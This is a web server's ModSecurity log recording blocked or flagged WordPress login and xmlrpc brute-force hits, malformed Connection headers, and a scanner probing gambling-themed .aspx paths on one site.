[Thu Apr 23 01:22:15.669879 2026] [:error] [pid 6252:tid 6319] [client 136.144.35.253:39125] [client 136.144.35.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.253, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekDx-tGYuiYb1nWBpR_WwAAAQc"]
[Thu Apr 23 01:37:14.984874 2026] [:error] [pid 23776:tid 23788] [client 173.239.240.96:52651] [client 173.239.240.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekHSrRExf-1pAbSeJtcHAAAAYo"]
[Thu Apr 23 01:37:14.985219 2026] [:error] [pid 6384:tid 6400] [client 173.239.240.91:31757] [client 173.239.240.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekHSj58M3t15ICeWHXMZwAAAM0"]
[Thu Apr 23 01:45:36.875417 2026] [:error] [pid 9085:tid 9097] [client 46.105.122.35:52346] [client 46.105.122.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.105.122.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekJQN-_-or9vQnlWnouwQAAAUo"]
[Thu Apr 23 01:52:19.345931 2026] [:error] [pid 9085:tid 9102] [client 136.144.35.253:24453] [client 136.144.35.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.253, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekK09-_-or9vQnlWno1WQAAAU8"]
[Thu Apr 23 01:52:19.347457 2026] [:error] [pid 9085:tid 9110] [client 136.144.35.254:31181] [client 136.144.35.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.254, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekK09-_-or9vQnlWno1WgAAAVc"]
[Thu Apr 23 01:59:28.124030 2026] [:error] [pid 6384:tid 6389] [client 43.130.9.111:43918] [client 43.130.9.111] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aekMgD58M3t15ICeWHXW_wAAAMI"]
[Thu Apr 23 02:04:58.591557 2026] [:error] [pid 6344:tid 6358] [client 18.60.137.201:52080] [client 18.60.137.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.60.137.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekNykDOTF-pkQnDeUlEmQAAAAk"]
[Thu Apr 23 02:05:04.227172 2026] [:error] [pid 6344:tid 6349] [client 18.60.137.201:52080] [client 18.60.137.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.60.137.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekN0EDOTF-pkQnDeUlEnAAAAAA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 02:07:18.643733 2026] [:error] [pid 6384:tid 6399] [client 136.144.35.248:48235] [client 136.144.35.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekOVj58M3t15ICeWHXalAAAAMw"]
[Thu Apr 23 02:07:18.649976 2026] [:error] [pid 6384:tid 6404] [client 136.144.35.248:37737] [client 136.144.35.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekOVj58M3t15ICeWHXalQAAANE"]
[Thu Apr 23 02:09:48.300027 2026] [:error] [pid 23776:tid 23785] [client 65.254.225.224:34464] [client 65.254.225.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.224, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekO7LRExf-1pAbSeJtnJQAAAYc"]
[Thu Apr 23 02:10:11.367419 2026] [:error] [pid 6384:tid 6393] [client 65.254.225.225:54644] [client 65.254.225.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekPAz58M3t15ICeWHXcAwAAAMY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 02:18:01.375676 2026] [:error] [pid 6251:tid 6301] [client 151.246.142.17:37736] [client 151.246.142.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 151.246.142.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aekQ2SsFAzbyObL-SQ6vgQAAAJA"]
[Thu Apr 23 02:18:44.685524 2026] [:error] [pid 6250:tid 6259] [client 103.145.51.194:40684] [client 103.145.51.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.145.51.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekRBA-iZeQkqmQVfj5Q6gAAAEU"]
[Thu Apr 23 02:18:49.297187 2026] [:error] [pid 6250:tid 6268] [client 103.145.51.194:40684] [client 103.145.51.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.145.51.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekRCQ-iZeQkqmQVfj5Q8gAAAE4"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 02:22:19.485170 2026] [:error] [pid 23776:tid 23790] [client 136.144.35.245:20081] [client 136.144.35.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekR27RExf-1pAbSeJtrSAAAAYw"]
[Thu Apr 23 02:22:19.491630 2026] [:error] [pid 6384:tid 6393] [client 173.239.240.90:27555] [client 173.239.240.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekR2z58M3t15ICeWHXh3gAAAMY"]
[Thu Apr 23 02:33:23.601816 2026] [:error] [pid 9085:tid 9105] [client 154.38.160.164:60656] [client 154.38.160.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.38.160.164, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekUc9-_-or9vQnlWnpPYwAAAVI"]
[Thu Apr 23 02:33:27.544883 2026] [:error] [pid 9085:tid 9091] [client 154.38.160.164:60656] [client 154.38.160.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.38.160.164, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekUd9-_-or9vQnlWnpPawAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 02:37:29.524748 2026] [:error] [pid 6252:tid 6327] [client 173.239.240.97:46061] [client 173.239.240.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekVaetGYuiYb1nWBpSKOQAAAQ8"]
[Thu Apr 23 02:37:29.524764 2026] [:error] [pid 6251:tid 6306] [client 173.239.240.31:46145] [client 173.239.240.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekVaSsFAzbyObL-SQ6x9gAAAJU"]
[Thu Apr 23 02:52:32.855330 2026] [:error] [pid 6251:tid 6297] [client 173.239.240.91:52087] [client 173.239.240.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekY8CsFAzbyObL-SQ6zFAAAAIw"]
[Thu Apr 23 02:52:32.855412 2026] [:error] [pid 6344:tid 6362] [client 173.239.240.91:43049] [client 173.239.240.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekY8EDOTF-pkQnDeUlOsAAAAA0"]
[Thu Apr 23 02:55:14.504618 2026] [:error] [pid 6250:tid 6260] [client 65.254.225.225:60362] [client 65.254.225.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekZkg-iZeQkqmQVfj5V1wAAAEY"]
[Thu Apr 23 02:55:16.202592 2026] [:error] [pid 6250:tid 6261] [client 65.254.225.225:60362] [client 65.254.225.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekZlA-iZeQkqmQVfj5V2AAAAEc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 03:07:43.157988 2026] [:error] [pid 23776:tid 23785] [client 136.144.35.245:24259] [client 136.144.35.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekcf7RExf-1pAbSeJt1QwAAAYc"]
[Thu Apr 23 03:07:43.160841 2026] [:error] [pid 23776:tid 23798] [client 173.239.240.90:49657] [client 173.239.240.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekcf7RExf-1pAbSeJt1RAAAAZQ"]
[Thu Apr 23 03:23:05.127839 2026] [:error] [pid 12828:tid 12835] [client 173.239.240.91:23553] [client 173.239.240.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekgGSzXf6ckbAJKRD3NSQAAAMU"]
[Thu Apr 23 03:23:06.119405 2026] [:error] [pid 12731:tid 12801] [client 136.144.35.247:65157] [client 136.144.35.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.247, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekgGqlyelhtpVN-WtRpzgAAAIQ"]
[Thu Apr 23 03:38:31.795915 2026] [:error] [pid 43083:tid 43089] [client 173.239.240.96:57023] [client 173.239.240.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekjtzC5hrvNXosL83JEQQAAAMQ"]
[Thu Apr 23 03:38:31.800657 2026] [:error] [pid 43083:tid 43106] [client 136.144.35.251:40357] [client 136.144.35.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekjtzC5hrvNXosL83JEQgAAANU"]
[Thu Apr 23 04:25:36.989775 2026] [:error] [pid 42973:tid 43061] [client 98.156.100.191:44802] [client 98.156.100.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.156.100.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekuwG6I0QqmmmLTHE2HeQAAAJI"]
[Thu Apr 23 04:25:39.649370 2026] [:error] [pid 42973:tid 43064] [client 98.156.100.191:44802] [client 98.156.100.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.156.100.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekuw26I0QqmmmLTHE2HggAAAJU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 04:29:59.705864 2026] [:error] [pid 42972:tid 43037] [client 173.231.249.1:60106] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekvx8OAb-3sOknsk4faxwAAAFU"]
[Thu Apr 23 04:30:03.157531 2026] [:error] [pid 42972:tid 43029] [client 173.231.249.1:60106] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekvy8OAb-3sOknsk4fazAAAAE0"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 05:03:21.485584 2026] [:error] [pid 42973:tid 43043] [client 5.104.84.136:38794] [client 5.104.84.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.104.84.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aek3mW6I0QqmmmLTHE2XuAAAAIA"]
[Thu Apr 23 05:03:23.276494 2026] [:error] [pid 42973:tid 43045] [client 5.104.84.136:38794] [client 5.104.84.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.104.84.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aek3m26I0QqmmmLTHE2XugAAAII"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 05:07:59.597507 2026] [:error] [pid 25635:tid 25644] [client 18.184.88.241:36154] [client 18.184.88.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.184.88.241, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aek4r8Rxv6UsgRGKB3KBkQAAAQU"]
[Thu Apr 23 05:08:02.749209 2026] [:error] [pid 25635:tid 25655] [client 18.184.88.241:36154] [client 18.184.88.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.184.88.241, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aek4ssRxv6UsgRGKB3KBmgAAARA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 05:08:11.270619 2026] [:error] [pid 42973:tid 43061] [client 18.184.88.241:39942] [client 18.184.88.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.184.88.241, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aek4u26I0QqmmmLTHE2Y6AAAAJI"]
[Thu Apr 23 05:08:12.538252 2026] [:error] [pid 42973:tid 43047] [client 18.184.88.241:39942] [client 18.184.88.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.184.88.241, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aek4vG6I0QqmmmLTHE2Y7QAAAIQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 05:13:44.227187 2026] [:error] [pid 43083:tid 43097] [client 43.140.247.223:37308] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aek6CDC5hrvNXosL83J9cgAAAMw"]
[Thu Apr 23 05:25:45.687327 2026] [:error] [pid 43083:tid 43105] [client 135.181.213.219:58778] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aek82TC5hrvNXosL83KBBgAAANQ"]
[Thu Apr 23 05:25:47.570089 2026] [:error] [pid 25635:tid 25662] [client 135.181.213.219:58780] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aek828Rxv6UsgRGKB3KKBAAAARc"]
[Thu Apr 23 05:25:49.603382 2026] [:error] [pid 25635:tid 25640] [client 135.181.213.219:58812] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aek83cRxv6UsgRGKB3KKEAAAAQE"]
[Thu Apr 23 05:25:51.646491 2026] [:error] [pid 43083:tid 43106] [client 135.181.213.219:21698] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aek83zC5hrvNXosL83KBCQAAANU"]
[Thu Apr 23 05:25:53.697266 2026] [:error] [pid 42971:tid 42996] [client 135.181.213.219:21712] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aek84TEP2_5RswrH8bF2sAAAAAo"]
[Thu Apr 23 05:25:55.723866 2026] [:error] [pid 25635:tid 25642] [client 135.181.213.219:21722] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aek848Rxv6UsgRGKB3KKNAAAAQM"]
[Thu Apr 23 05:25:57.612066 2026] [:error] [pid 25635:tid 25654] [client 135.181.213.219:21724] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aek85cRxv6UsgRGKB3KKPQAAAQ8"]
[Thu Apr 23 05:25:59.651672 2026] [:error] [pid 43083:tid 43100] [client 135.181.213.219:21736] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aek85zC5hrvNXosL83KBEAAAAM8"]
[Thu Apr 23 05:26:01.674247 2026] [:error] [pid 42973:tid 43045] [client 135.181.213.219:31740] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aek86W6I0QqmmmLTHE2c1QAAAII"]
[Thu Apr 23 05:26:03.729661 2026] [:error] [pid 42971:tid 42988] [client 135.181.213.219:31754] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aek86zEP2_5RswrH8bF2tAAAAAI"]
[Thu Apr 23 05:26:05.752565 2026] [:error] [pid 42971:tid 42993] [client 135.181.213.219:31770] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aek87TEP2_5RswrH8bF2uwAAAAc"]
[Thu Apr 23 05:26:07.644390 2026] [:error] [pid 42971:tid 43009] [client 135.181.213.219:31776] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aek87zEP2_5RswrH8bF2wAAAABc"]
[Thu Apr 23 05:26:09.664308 2026] [:error] [pid 42971:tid 43003] [client 135.181.213.219:31790] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aek88TEP2_5RswrH8bF2xgAAABE"]
[Thu Apr 23 05:26:11.684500 2026] [:error] [pid 25635:tid 25661] [client 135.181.213.219:23146] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aek888Rxv6UsgRGKB3KKewAAARY"]
